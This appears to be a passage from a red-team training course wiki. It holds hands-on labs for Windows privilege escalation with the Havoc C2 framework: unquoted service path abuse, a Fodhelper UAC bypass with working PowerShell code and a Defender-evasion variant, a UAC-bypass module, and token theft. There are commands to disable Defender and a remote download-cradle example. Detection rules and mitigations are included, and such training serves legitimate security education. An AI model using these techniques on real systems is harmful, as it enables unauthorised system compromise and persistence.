shell net localgroup "Administrators" | find /i "Threatadmin"

1.4 USING HAVOC BOF COMMANDS

HAVOC provides two main approaches for executing commands: the SHELL command and Beacon Object Files (BOFs). The following table compares these methods from an evasion and OPSEC perspective:

What are Beacon Object Files (BOFs)?

BOFs are position-independent code modules in Common Object File Format (COFF), compiled from C code. They run within the Beacon's memory space, enabling post-exploitation capabilities without creating separate processes or injection techniques that security tools easily detect.

Key Features:

• Lightweight: Typically under 3KB (vs. Reflective DLLs or .NET assemblies)
• In-memory execution: No disk writes or process creation
• Limited API surface: Uses Beacon APIs and minimal Windows APIs
• Position-independent: Can execute from any memory location

Limitations:

• Not suitable for long-running or resource-intensive tasks
• Limited linking capabilities (no .bss section for global variables)
• Best for quick, one-off command execution

Reference: https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm

We can use BOFs for enumerating the vulnerable service, just like we did before, and finding out if the service account is privileged or not:

1.5 EXPLOIT UNQUOTED SERVICE PATH

So now we know we have a service on the system that has an unquoted service path, the directory is writable by regular users (in real scenarios the C:\Users\username\appdata folder is a common location that unprivileged users have full access to), and the account being used is privileged.

IMPORTANT: Havoc supports different payload types, exe, dll, shellcode and service. In this version of Havoc there's a bug in the Service payload type, we have created our own service payload with Havoc shellcode demon.x64svc.exe, that will do exactly the same as if it were generated by Havoc. DO NOT GENERATE A SERVICE PAYLOAD WITH HAVOC, USE THE PROVIDED ONE IN THE LABS FOLDER!!!.

Earlier in this lab you already uploaded the demon.x64svc.exe to your Kali machine, so you don't need to generate a new one, it won't work anyhow.

Let's see what happens if we drop our Havoc service payload (havoc.x64svc.exe) in the "C:\MyPrograms\" directory, and rename it to Vulnerable.exe.

We can do this with HAVOC - Use the Havoc student session to upload a demonsvc.x64.exe renamed to Vulnerable.exe to the C:\MyPrograms\Vulnerable Service\ path, and we'll then start the VulnService.

• On your Kali machine interact with the student session and use the upload command to transfer the file:

upload /opt/Havoc/payloads/havoc.x64svc.exe C:\MyPrograms\Vulnerable.exe

NOTE: When copy pasting this in the Havoc GUI, we noticed that pasting sometimes adds some trailing spaces at the end of the command, make sure to remove those spaces.

If we have a look on our Windows machine we can see the malicious service executable was dropped in the "C:\MyPrograms" folder. Now whenever this service (re-)starts, it will execute our Havoc payload instead of the actual service.

Instead of rebooting our Windows machine, let's just start the service manually (this requires admin privileges) and see what happens.

NOTE: You can't do this from within your Havoc session, as starting a service requires admin privileges - and your Havoc session is running as an unprivileged user (student). In real scenarios you would just reboot (or wait for the user to reboot) the machine and wait for the service to start automatically.

• On your Windows machine, open a command prompt with Administrator privileges:

sc start vulnservice

We can see a new demon spawned, under the Threatadmin account. Let's check our privileges by interacting with our new session, using the command whoami:

whoami

We can now see that we are running a new demon, with an admin account and our process is running in HIGH integrity (services that run with privileged accounts always run in high integrity by the way).

1.6 CLEANUP

On your Kali machine:

• Stop the updog server in the terminal it's running in by pressing CTRL+C.

• In order to properly clean up your sessions - in the Havoc GUI, right-click on each session, "Mark as dead", then "Exit-> Process" and finally "Remove".

On your Windows machine:

• Close all command prompts, and PowerShell windows.

1. UAC - USER ACCOUNT CONTROL (PRIVILEGE ESCALATION)

1.1 SUMMARY

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box. An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild.

1.2 MITRE

TL;DR: User Account Control (UAC) is a security feature in Windows that helps prevent unauthorized changes to your computer. These changes can be initiated by applications, viruses, or other forms of malware. UAC ensures that such changes cannot be made without your knowledge or consent, adding an extra layer of security.

UAC splits the Administrative user's token into a medium and a high integrity token. When that user tries to run something as an administrator, a prompt is shown which they must accept, which then the high integrity token is then applied to that process or thread.

A UAC bypass is going from the Administrative user's medium integrity token to high integrity token without having to interact with the prompt.

1.3 PROCESS AND INTEGRITY LEVELS

Every process in Windows has an integrity level, which is a part of the security token associated with the process. The integrity levels are:

• Low: Used by processes that require minimal access to the system, such as web browsers running in protected mode.
• Medium: The default level for standard user accounts. Processes running at this level have limited access to system resources.
• High: Used by processes that require elevated privileges, such as administrative tasks.
• System: The highest level, used by core system processes.

When a user with administrative privileges logs in, they receive two tokens: a standard user token (medium integrity) and an elevated token (high integrity). By default, applications run with the standard user token to minimize the risk of unauthorized changes. When an application needs to perform a task that requires higher privileges, UAC prompts the user for permission to use the elevated token.

IMPORTANT: UAC Bypasses only work for users that are in the Administrators group on the local machine.

How UAC Works

1. Permissions and Elevation When you or an application tries to make changes that require administrative privileges, UAC prompts you to confirm or deny the action. This is known as elevation. Only an administrator account can provide the necessary permission to proceed.

2. Secure Desktop In higher UAC settings, the prompt appears on the secure desktop. This is a screen dimming feature that makes it difficult for malware to interact with or spoof the UAC prompt. Essentially, it ensures that the prompt is coming from Windows and not from a malicious program.

3. Levels of Notification UAC has different levels of notification settings, ranging from always notifying you of changes to never notifying you (effectively turning off UAC).

UAC Notification Levels

User Account Control (UAC) has four levels of notification settings:

1. Always notify: This is the highest level of protection. It notifies you before any changes are made to your computer that require administrator permissions. It also freezes other tasks until you respond.

2. Notify me only when programs try to make changes to my computer: This is the DEFAULT level. It notifies you when programs try to make changes to your computer or install software.

3. Notify me only when programs try to make changes to my computer (do not dim my desktop): Similar to the previous level, but it doesn't switch to the Secure Desktop with desktop locking.

4. Never notify: This is the lowest level of protection. UAC is disabled, and you won't be notified when changes are made to your computer.

You can adjust these settings by moving the slider in the User Account Control Settings window. The default setting is shown below:

And this would be the prompt the user gets when he want to elevate from medium to high integrity:

You can also check if UAC is enabled (1 = enabled, 0 is disabled) by querying the registry:

Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' |Select-object EnableLua

And to check which level it is:

Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' |Select-object ConsentPromptBehaviorAdmin

1.4 FODHELPER UAC BYPASS

The Fodhelper UAC bypass is a technique used to escalate privileges on Windows systems by exploiting the fodhelper.exe executable, a trusted Microsoft binary. This method allows attackers or testers to bypass User Account Control (UAC) prompts, enabling the execution of commands with elevated (high-integrity) privileges without user interaction.

What is Fodhelper?

Fodhelper.exe is a legitimate Windows executable located in C:\Windows\System32\fodhelper.exe. Introduced in Windows 10, it is used to manage optional features, such as region-specific keyboard settings or language changes, accessible via the "Manage Optional Features" option in Windows Settings. Key characteristics include:

• Signed by Microsoft: Ensures authenticity and trust.
• Auto-elevate Privilege: Runs with a high-integrity level due to its autoElevate flag set to true in its manifest, meaning it can execute with elevated privileges without triggering a UAC prompt under most UAC settings.

How the Fodhelper UAC Bypass Works

The bypass leverages the way fodhelper.exe interacts with the Windows Registry, specifically the HKEY_CURRENT_USER (HKCU) hive, which is writable by the current user without administrative privileges. Here's the core mechanism:

1. Registry Key Manipulation:

   • When fodhelper.exe runs, it queries the registry key HKCU\Software\Classes\ms-settings\Shell\Open\command to check for a command to execute.
   • This key does not exist by default, and the current user has permission to create and modify it.
   • An attacker can create this key and insert a custom command (e.g., launching cmd.exe or a malicious script).

2. Auto-elevation:

   • Since fodhelper.exe is a trusted binary with the autoElevate flag, it runs with high integrity automatically.
   • When it reads the manipulated registry key, it executes the attacker's command in a high-integrity context, bypassing the UAC prompt.

3. Execution Flow Hijacking:

   • The technique hijacks the normal execution flow of fodhelper.exe by redirecting it to execute a user-specified command, inheriting the elevated privileges.

This method was first documented in 2017 and has been used by malware like Trickbot and in penetration testing scenarios.

Requirements for the Bypass

• Operating System: Windows 10 (build 1709 or higher; some sources indicate earlier builds like 10240 are also vulnerable).
• User Privileges: The user must be part of the Administrators group. The bypass does not work for standard users.
• UAC Settings: The bypass works with most UAC settings except when UAC is set to "Always Notify" (highest level), where a prompt is still required.
• Registry Access: The attacker needs write access to the HKCU hive, which is typically available to any logged-in user.

Step-by-Step Exploitation

1. Create Registry Structure:

   • Create the registry key: HKCU\Software\Classes\ms-settings\Shell\Open\command.
   • Add a string value named (Default) with the desired command (e.g., cmd.exe /c powershell.exe).
   • Add an empty string value named DelegateExecute to ensure fodhelper.exe executes the command in the (Default) value.

2. Execute Fodhelper:

   • Run fodhelper.exe (e.g., via C:\Windows\System32\fodhelper.exe).
   • The executable reads the manipulated registry key and executes the specified command with high integrity.

3. Cleanup (Optional):

   • Delete or restore the registry key to avoid detection or conflicts (e.g., Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force).

1.5 FODHELPER POC

Below is a PowerShell script to perform the fodhelper UAC bypass, based on publicly available proofs of concept.

Warning: Do not run this on production systems, as it modifies the registry and can trigger antivirus detection.

Source: https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1

# Fodhelper UAC Bypass Script
function FodhelperBypass {
    param (
        [String]$program = "cmd.exe /c powershell.exe" # Default command
    )

    # Create registry structure
    New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value $program -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -PropertyType String -Force

    # Execute fodhelper.exe
    Start-Process -FilePath "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

    # Cleanup (wait and remove registry keys)
    Start-Sleep -Seconds 3
    Remove-Item -Path "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
}

# Example usage
# FodhelperBypass -program "cmd.exe /c powershell.exe"

We opened a command prompt with medium level integrity under user student_adm.

runas /user:student_adm powershell.exe

In the new PowerShell prompt (running with student_adm) we ran following commands:

cd \THEV\Labs\UAC
import-module .\FodhelperBypass.ps1
FodhelperBypass -program "C:\THEV\Labs\DialogBox\x64\Release\DialogBox.exe"

And we're caught by Defender... but the bypass is simple!

You can find the script below under "C:\THEV\Labs\UAC\FodhelperBypass_Bypass.ps1".

function Execute {
    param (
        [String]$program = "C:\THEV\Labs\DialogBox\x64\Release\DialogBox.exe"
    )

    # Create registry structure
    New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force

    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value $program -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -PropertyType String -Force

    # Execute 
    Start-Sleep -Seconds 10
    Start-Process -FilePath "c:\windows\system32\fodhelper.exe" -WindowStyle Hidden

    # Cleanup (wait and remove registry keys)
    Start-Sleep -Seconds 10
    Remove-Item -Path "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
}

What has changed?

1. Function renamed to Execute
2. Sleep before start-process (this is key!)
3. Don't execute cmd.exe, powershell.exe etc.

We closed all your Powershell and Command line prompts and opened a fresh command prompt:

runas /user:student_adm powershell.exe

In the new Powershell prompt (running with student_adm) we run following one-liner, this is just another way of executing the script - we could also host the script remotely and use a download cradle "IEX (New-Object Net.WebClient).DownloadString("https://somewebserver.com/FodhelperBypass_Bypass.ps1"); Execute".

whoami /groups
IEX ([System.IO.File]::ReadAllText("C:\THEV\Labs\UAC\FodhelperBypass_Bypass.ps1")); Execute

1.6 DETECTION

SYSMON CONFIG:

<TargetObject name="MITRE_id=T1548.002,MITRE_name=UAC Fodhelper Bypass" condition="contains">\ms-settings\Shell\Open\command</TargetObject>

ELEX:

1.7 DETECTION AND MITIGATION

Detection

• Monitor Registry Changes:
  • Look for creation or modification of HKCU\Software\Classes\ms-settings\Shell\Open\command using tools like Sysmon or EDR solutions.
• Process Monitoring:
  • Detect fodhelper.exe spawning unexpected child processes (e.g., cmd.exe, powershell.exe) via EDR telemetry.
    • cmd.exe
    • powershell.exe
    • cscript.exe
    • wscript.exe
    • mshta.exe
    • schtasks.exe
    • reg.exe
    • regedit.exe
    • rundll32.exe
    • regsvr32.exe
    • pcalua.exe
    • python.exe
    • pythonw.exe
    • pwsh.exe
    • conhost.exe[0-16] --headless
• Windows Defender Alerts:
  • Windows Defender may flag this activity, though renaming executables (e.g., copying cmd.exe to a different name) can evade detection.
• Token Attributes:
  • Check for processes with LUA://HdAutoAp or LUA://DecHdAutoAp attributes, indicating auto-elevated applications or their descendants.

Mitigation

• Set UAC to "Always Notify":
  • Configure UAC to the highest level to force prompts for all elevation requests, though this may impact user experience. - This will drive your users nuts!
• Endpoint Security:
  • Use EDR solutions with custom rules to detect registry manipulation or suspicious fodhelper.exe activity.
• Least Privilege:
  • Avoid running as an Administrator group member; use standard user accounts for daily tasks.
• Patch and Update:
  • While Microsoft has not fully patched this bypass (as of 2025), keeping systems updated reduces the attack surface.
• Registry Hardening:
  • Restrict write access to HKCU\Software\Classes for non-admin users, though this may break legitimate functionality.

1.9 LIMITATIONS AND RISKS

• Limited to Administrators: Only works for users in the Administrators group, not standard users.
• Antivirus Detection: Windows Defender and other AV solutions may detect and block the bypass, especially if not obfuscated. Renaming executables can mitigate this.
• User Interaction: If UAC is set to "Always Notify", the bypass will not work without user interaction.

Here's a nice Fortinet article on the topic: https://www.fortinet.com/blog/threat-research/offense-and-defense-a-tale-of-two-sides-bypass-uac

1. LAB - UAC BYPASS

IMPORTANT: Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

IMPORTANT: For this lab we will TURN OFF Windows Defender. We will deal with AV evasion techniques later, for now let's focus on making sure we can escalate to the highest level of privileges (NT AUTHORITY\SYSTEM).

1.1 DISABLE WINDOWS DEFENDER

• Check if Defender is turned ON by running the checkav.ps1 script:

• On your Windows machine, open a PowerShell prompt with Administrator privileges:

c:\thev\labs\powershell\av_check.ps1

• If Defender is turned on - run the following script to turn it OFF:

c:\thev\labs\powershell\av_disable.ps1

1.2 ESTABLISH INITIAL FOOTHOLD

• To start this lab, on your Windows machine, open a command prompt with Administrator privileges and run your demon.x64.exe with the Threatadmin account, or simply double-click the exe in your temp directory:

cd c:\temp\
demon.x64.exe

We have a beacon running as user Threatadmin in HIGH integrity - but not as SYSTEM yet (don't worry this also works from medium integrity). We can run the whoami command to confirm this.

We can see here that the demon implant is running with:

• user Threatadmin
• Part of the local administrators group
• in High integrity level

1.3 Load HAVOC UAC BYPASS MODULE

HAVOC EXTENSIONS: Havoc C2 is a modular framework, this means that you can extend it with your own tooling - for this lab we'll extend Havoc's functionality with some UAC bypasses in the form of BOFs (Beacon Object Files).

You might get some errors on one of the bypasses, but for the purposes of our lab these are not important.

• First let's now load our new UAC Bypass Module in Havoc by clicking on SCRIPT MANAGER and locating the Havoc-UACBypass.py file, it's on your Kali machine in "/opt/Havoc/modules".

1.4 EXECUTE UAC BYPASS

• Now let's interact with this beacon and run our UAC-Bypass, right-click on the session and select Interact:

• In the new window, at the bottom, run your UAC bypass command - it will spawn a new demon implant (located in "C:\Temp\demon.x64.exe") running as SYSTEM:

NOTE: Sometimes when you copy/paste from this WIKI to the Havoc GUI, the command might not paste correctly (it sometimes seems to add a few spaces at the end) - if you get an error, try typing it manually. Or Remove any trailing spaces.

uac-bypass sspidatagram c:\temp\demon.x64.exe

• A new demon implant will spawn, but now running with SYSTEM privileges as you can verify this by interacting with this new session and running the whoami command.

• On your Windows machine, open System Informer (run as Administrator) we can see the 2 demon implants (verify the process IDs).

1.5 ALTERNATIVE: MEDIUM INTEGRITY BYPASS

• To do the same attack but from an admin user running with MEDIUM integrity, on your Windows machine, open a command prompt with Administrator privileges:

runas /user:student_adm cmd.exe

• Enter the password, and in the new command prompt you are now running as a regular user with medium integrity.

• Run your demon.x64.exe from this new command prompt running as (COMPUTERNAME\student_adm):

cd \temp
demon.x64.exe

In our Havoc client we should now see a new session popping up, in medium integrity - you can verify this by interacting with this new session and running the whoami command. Run the same UAC bypass command as before:

uac-bypass sspidatagram c:\temp\demon.x64.exe

And you'll get a new session running as SYSTEM :)

1.6 DETECTIONS

References:

• https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies
• https://splintercod3.blogspot.com/p/bypassing-uac-with-sspi-datagram.html

SYSMON Event ID 18 - Pipe Connected:

Pipe Connected:
RuleName: -
EventType: ConnectPipe
UtcTime: 2025-07-11 09:00:47.958
ProcessGuid: {4916439e-c22b-6870-eb03-000000000000}
ProcessId: 4
PipeName: \ntsvcs
Image: System
User: NT AUTHORITY\SYSTEM

SYSMON Event ID 1 - Process Creation

• Image: C:\Windows\System32\cmd.exe
• ParentImage: C:\Windows\System32\services.exe
• IntegrityLevel: System

Process Create:
RuleName: -
UtcTime: 2025-07-11 09:37:12.673
ProcessGuid: {4916439e-db48-6870-4a02-000000004e00}
ProcessId: 7520
Image: C:\Windows\System32\cmd.exe
FileVersion: 10.0.19041.4355 (WinBuild.160101.0800)
Description: Windows Command Processor
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: Cmd.Exe
CommandLine: cmd /c start c:\temp\demon.x64.exe

CurrentDirectory: C:\Windows\system32\
User: NT AUTHORITY\SYSTEM
LogonGuid: {4916439e-c258-6870-e703-000000000000}
LogonId: 0x3e7
TerminalSessionId: 0
IntegrityLevel: System
Hashes: SHA256=BADF4752413CB0CBDC03FB95820CA167F0CDC63B597CCDB5EF43111180E088B0,IMPHASH=272245E2988E1E430500B852C4FB5E18
ParentProcessGuid: {4916439e-c253-6870-0c00-000000004e00}
ParentProcessId: 760
ParentImage: C:\Windows\System32\services.exe
ParentCommandLine: C:\Windows\system32\services.exe
ParentUser: NT AUTHORITY\SYSTEM

SYSMON Event ID 12/13 - Create/Delete Registry Key:

• EventType: CreateKey
• Image: C:\Windows\system32\services.exe
• User: NT AUTHORITY\SYSTEM

Registry object added or deleted:
RuleName: technique_id=T1134,technique_name=Access Token Manipulation: Token Impersonation/Theft
EventType: CreateKey
UtcTime: 2025-07-11 09:37:12.660
ProcessGuid: {4916439e-c253-6870-0c00-000000004e00}
ProcessId: 760
Image: C:\Windows\system32\services.exe
TargetObject: HKLM\System\CurrentControlSet\Services\CreateSvcRpc_6449562
User: NT AUTHORITY\SYSTEM

registry.key:System\\CurrentControlSet\\Services\\CreateSvcRpc* and user.name:SYSTEM and process.name:services.exe

Windows Event ID 7045 - Service Creation

A service was installed in the system.

Service Name:  CreateSvcRpc_4264859
Service File Name:  cmd /c start c:\temp\demon.x64.exe

Service Type:  user mode service
Service Start Type:  demand start
Service Account:  LocalSystem

1.7 CLEANUP

On your Kali machine:

• Stop the updog server in the terminal it's running in by pressing CTRL+C.

• In order to properly clean up your sessions - in the Havoc GUI, right-click on each session, "Mark as dead", then "Exit-> Process" and finally "Remove".

On your Windows machine:

• Close all command prompts, and PowerShell windows.

1. STEALING TOKENS

1.1 SUMMARY

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These tokens can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.

Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.

1.2 MITRE

Access Token Theft: Table Summary

Access token theft is a critical attack vector in Windows environments, allowing adversaries to impersonate high-privilege accounts such as NT AUTHORITY\SYSTEM. This tactic is aligned with MITRE ATT&CK technique T1134 (Access Token Manipulation). While winlogon.exe is a common target, focusing only on it can limit detection capabilities.

1.3 PRIMARY VS. IMPERSONATION TOKENS

The primary access token is the main token assigned to a process when it is created, defining the security context under which the process operates. It determines the privileges, group memberships, and security identifiers (SIDs) that the process inherits from the user or session initiating it.

In addition to the primary access token, a process or its threads can use other types of access tokens, most notably impersonation tokens. These tokens allow a process or thread to operate under a different security context than that of the primary access token.

An impersonation token is a temporary token assigned to a thread (or occasionally a process) to perform actions on behalf of another user or security context. Unlike the primary access token, impersonation tokens are typically used by threads rather than the entire process. Impersonation allows a process to act as another user or entity, often in client-server scenarios (e.g., a server process impersonating a client to access resources on their behalf).

1.4 STEALING ACCESS TOKENS

Attackers use several Windows API functions to steal and manipulate access tokens:

• OpenProcess() – Opens a handle to a target process.
• OpenProcessToken() – Retrieves the access token from the process.
• ImpersonateLoggedOnUser() – Impersonates another user's security context.
• DuplicateTokenEx() – Duplicates an existing token.
• CreateProcessWithTokenW() – Launches a new process with a token.

These functions enable privilege escalation and lateral movement.

1.5 ELEVATING TO SYSTEM PRIVILEGES

Even if local admins have restricted privileges (e.g., no SeDebugPrivilege), SYSTEM processes retain them. By impersonating SYSTEM tokens, attackers bypass security restrictions and gain full system control.

1.6 DETECTION CHALLENGES

Most defenses focus on winlogon.exe as the source of SYSTEM tokens. This narrow focus can miss other viable SYSTEM processes that attackers may target. Broadening monitoring scope improves detection efficacy.

1.7 ALTERNATIVE SYSTEM PROCESSES

Other SYSTEM processes that can be targeted include:

• services.exe – Manages system services.
• lsass.exe – Handles authentication.
• smss.exe – Session manager.
• csrss.exe – Manages user-mode side of the Win32 subsystem.

Monitoring these increases resilience to token theft.

1.8 DEFENSIVE MEASURES

• Audit SYSTEM Processes – Monitor for token misuse.
• Enforce Least Privilege – Restrict unnecessary privileges.
• Security Tools – Use tools that detect token-related anomalies.
• User Education – Train users against phishing and social engineering.

By understanding access token theft techniques and expanding detection beyond winlogon.exe, defenders can significantly improve Windows environment security.

1.9 GET-TOKEN

The following Windows API calls can be used to steal and abuse access tokens: OpenProcess(), OpenProcessToken(), ImpersonateLoggedOnUser(), DuplicateTokenEx(), CreateProcessWithTokenW().

1.10 ADDITIONAL REFERENCES

• https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b
• https://gist.github.com/vector-sec/a049bf12da619d9af8f9c7dbd28d3b56
• https://github.com/fashionproof/EnableAllTokenPrivs/blob/master/EnableAllTokenPrivs.ps1

1. LAB - TOKEN THEFT

IMPORTANT: Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

IMPORTANT: For this lab we will TURN OFF Windows Defender. We will deal with AV evasion techniques later in the training.

1.1 DISABLE WINDOWS DEFENDER

• Check if Defender is turned ON by running the checkav.ps1 script:

• On your Windows machine, open a PowerShell prompt with Administrator privileges:

c:\thev\labs\powershell\av_check.ps1

• If Defender is turned on - run the following script to turn it OFF:

c:\thev\labs\powershell\av_disable.ps1

1.2 OVERVIEW

In this lab we will demonstrate how an attacker can steal access tokens from processes running with SYSTEM privileges to escalate their privileges and impersonate the NT AUTHORITY/SYSTEM account. We will use two different tools to demonstrate this technique, Tokenvator and TokenPlayer. Finally we will use our Havoc C2 demon implant to steal a SYSTEM token and spawn a new process running with SYSTEM privileges.

Reference: https://specterops.io/wp-content/uploads/sites/3/2022/06/A_Process_is_No_One.pdf

MITIGATION: The SeDebugPrivilege can be removed from the local administrator group (by using Group policies) to make it harder for an attacker to dump credentials or interact with memory of other processes. However, privileges cannot be revoked from the SYSTEM account as they are necessary for the operating system to run. This makes SYSTEM access tokens extremely valuable for attackers in hardened environments.

PRIVILEGES NEEDED:

1. High Integrity -> this is needed to access process running in HIGH integrity (i.e. NT AUTHORITY/SYSTEM)
2. SeDebugPrivilege
3. SeImpersonateUser
4. AdjustTokenPrivileges

1.3 TOKEN THEFT WITH TOKENVATOR

Let's first find a process with SYSTEM privileges:

• Open System Informer as Administrator and check for the PID (Process ID) of wininit.exe, this process always runs with SYSTEM privileges. Use the PID in the command line below - it will be different than the one shown in the screenshot (in the screenshot it's 664 but it will be different on your system)!

We can use Tokenvator to escalate from Threatadmin (high integrity) to SYSTEM (high integrity) by simply copying the token from our wininit.exe process and starting a new process (cmd.exe) with this SYSTEM token.

Reference: https://github.com/0xbadjuju/Tokenvator

• On your Windows machine, open a command prompt with Administrator privileges, and use the PID of YOUR wininit.exe process:

cd c:\THEV\labs\TokenManipulation
Tokenvator.exe GetSystem /Process:664 /command:cmd.exe

1.4 TOKEN THEFT WITH TOKENPLAYER

A similar tool is TokenPlayer, it basically does the same thing.

• Open System Informer as Administrator and check for the PID (Process ID) of wininit.exe, this process always runs with SYSTEM privileges. Use the PID in the command line below - it will be different than the one shown in the screenshot (in the below screenshot it's 592 but it will be different on your system)!

• On your Windows machine, open a command prompt with Administrator privileges, and use the PID of YOUR wininit.exe process:

cd c:\THEV\labs\TokenManipulation
TokenPlayer-v0.8.exe --impersonate --pid 592 --prog cmd.exe

Reference: https://github.com/S1ckB0y1337/TokenPlayer

1.5 TOKEN THEFT WITH HAVOC C2

Let's see if we can use our HAVOC demon implant to escalate our privileges from Admin (we'll start with high integrity here as we have already demonstrated how we can get there) to NT AUTHORITY.

• Now let's start a new demon implant running with Threatadmin, this will automatically spawn a new session in high integrity. On your Windows machine, open a command prompt with Administrator privileges and type the following:

whoami /groups
c:\temp\demon.x64.exe

We're going to use a simple powershell script that can enumerate the tokens of a process. We will use this to validate that our Havoc demon is only running with a primary access token (ThreatAdmin) and then after stealing the SYSTEM token we will validate that we now have an impersonation token (SYSTEM).

Get-Token.ps1 GITHUB: https://gist.github.com/vector-sec/a049bf12da619d9af8f9c7dbd28d3b56

• On your Windows machine, open a PowerShell prompt with Administrator privileges and use Get-Token.ps1, we can check which tokens our process has:

cd c:\THEV\labs\TokenManipulation
import-module .\Get-Token.ps1

IMPORTANT: Make sure to replace the PID in the command below with the PID of YOUR Havoc demon process (in the screenshot below it's 5808 but it will be different on your system):

$WarningPreference = 'SilentlyContinue'
get-token | Where-Object {$_.ProcessID -eq 5808} | Select-Object ProcessName, ProcessID, Username, Type, ImpersonationLevel, IntegrityLevel | Format-Table
$WarningPreference = 'Continue'

We can clearly see only a primary access token, which is ThreatAdmin's user.

• We'll see a new session spawn in our Havoc GUI, let's interact with it using the TOKEN module and do a whoami to check our privileges:

• We can use the "help token" command to see what we can do:

Available token commands:

• token find
• token steal PID HANDLE
• token list
• token revert

token find

• Use the token steal command with the appropriate PID and HANDLE from the previous output:

token steal PID HANDLE

In the screenshot below, the whoami command now shows the user account = the workstation account (SYSTEM/NT AUTHORITY):

• On your Windows machine, in the same PowerShell prompt use Get-Token.ps1 again, we can validate our process is now impersonating SYSTEM:

IMPORTANT: Make sure to replace the PID in the command below with the PID of YOUR Havoc demon process (in the screenshot below it's 5808 but it will be different on your system):

$WarningPreference = 'SilentlyContinue'
get-token | Where-Object {$_.ProcessID -eq 5808} | Select-Object ProcessName, ProcessID, Username, Type, ImpersonationLevel, IntegrityLevel | Format-Table
$WarningPreference = 'Continue'

The 2nd time we ran the command AFTER stealing the token - we can see the primary token is still the same but the impersonation token is NT AUTHORITY:

Now that our process is running with SYSTEM privileges (it will still show in the GUI as Threatadmin, PRIMARY ACCESS token) - every command or process we run will be executed with SYSTEM privileges (parent-child relationship, remember?).

• Let's spawn a new Havoc demon using the payload already on disk. A new session will spawn but this time it shows the SYSTEM account in the demon:

shell c:\temp\demon.x64.exe

Finally before cleaning up let's revert our demon's session - running as ThreatAdmin (the top one) - token back to the original so it doesn't continue to run with SYSTEM privileges.

• In Havoc select the original Havoc demon running with ThreatAdmin and interact with it:

token revert

1.6 CLEANUP

On your Kali machine:

• Stop the updog server in the terminal it's running in by pressing CTRL+C.

• In order to properly clean up your sessions - in the Havoc GUI, right-click on each session, "Mark as dead", then "Exit-> Process" and finally "Remove".

On your Windows machine:

• Close all command prompts, and PowerShell windows.

1. LAB - PROCESS INJECTION

IMPORTANT: Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

IMPORTANT: For this lab we will TURN OFF Windows Defender. We will deal with AV evasion techniques later in the training.

1.1 DISABLE WINDOWS DEFENDER

• Check if Defender is turned ON by running the checkav.ps1 script:

• On your Windows machine, open a PowerShell prompt with Administrator privileges:

c:\thev\labs\powershell\av_check.ps1

• If Defender is turned on - run the following script to turn it OFF:

c:\thev\labs\powershell\av_disable.ps1

1.2 SUMMARY

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process (as shown in the animation below). Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated techniques may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

